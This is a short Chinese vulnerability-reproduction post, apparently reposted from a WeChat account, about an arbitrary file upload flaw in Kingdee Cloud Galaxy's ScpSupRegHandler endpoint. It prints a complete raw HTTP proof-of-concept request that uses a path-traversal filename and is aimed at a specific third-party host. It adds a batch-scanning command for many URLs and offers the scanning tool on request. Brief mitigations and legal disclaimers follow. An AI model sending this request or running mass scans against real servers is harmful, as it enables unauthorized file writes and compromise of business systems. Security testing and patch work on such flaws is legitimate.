金蝶云星空企业版私有云
企业版私有云（订阅）
标准版私有云（订阅）
注：涉及版本：V6.2(含17年12月补丁) 至 V8.1(含23年9月补丁)
POST /k3cloud/SRM/ScpSupRegHandler HTTP/1.1Host: nacos.storlead.comContent-Length: 283Content-Type: multipart/form-data; boundary=zsqxokgaAccept-Encoding: gzip--zsqxokgaContent-Disposition: form-data; name="dbId_v".--zsqxokgaContent-Disposition: form-data; name="FID"2022--zsqxokgaContent-Disposition: form-data; name="FAtt"; filename="../../../../uploadfiles/kkk.txt"Content-Type: text/plaina12345--zsqxokga--
批量脚本：
poc.exe -f urls.txt -o res.txt
检测脚本后台回复 金蝶云星空ScpSupRegHandle 获取
-
如非必要，将系统收缩至内网访问。或通过网络ACL策略限制访问来源，例如只允许来自特定IP地址或地址段的访问请求。 -
联系厂商进行漏洞补丁升级，补丁地址： https://vip.kingdee.com/school/detail/505412093244235264?productLineId=1
3. 部署企业级waf对上传接口进行拦截检测。
注：本文中提到的漏洞验证 poc 或工具仅用于授权测试，任何未经授权的测试均属于非法行为。任何人不得利用本文中的技术手段或工具进行非法攻击和侵犯他人的隐私和财产权利。一旦发生任何违法行为，责任自负。
原文始发于微信公众号（扫地僧的茶饭日常）：【漏洞复现】金蝶云星空ScpSupRegHandler任意文件上传漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论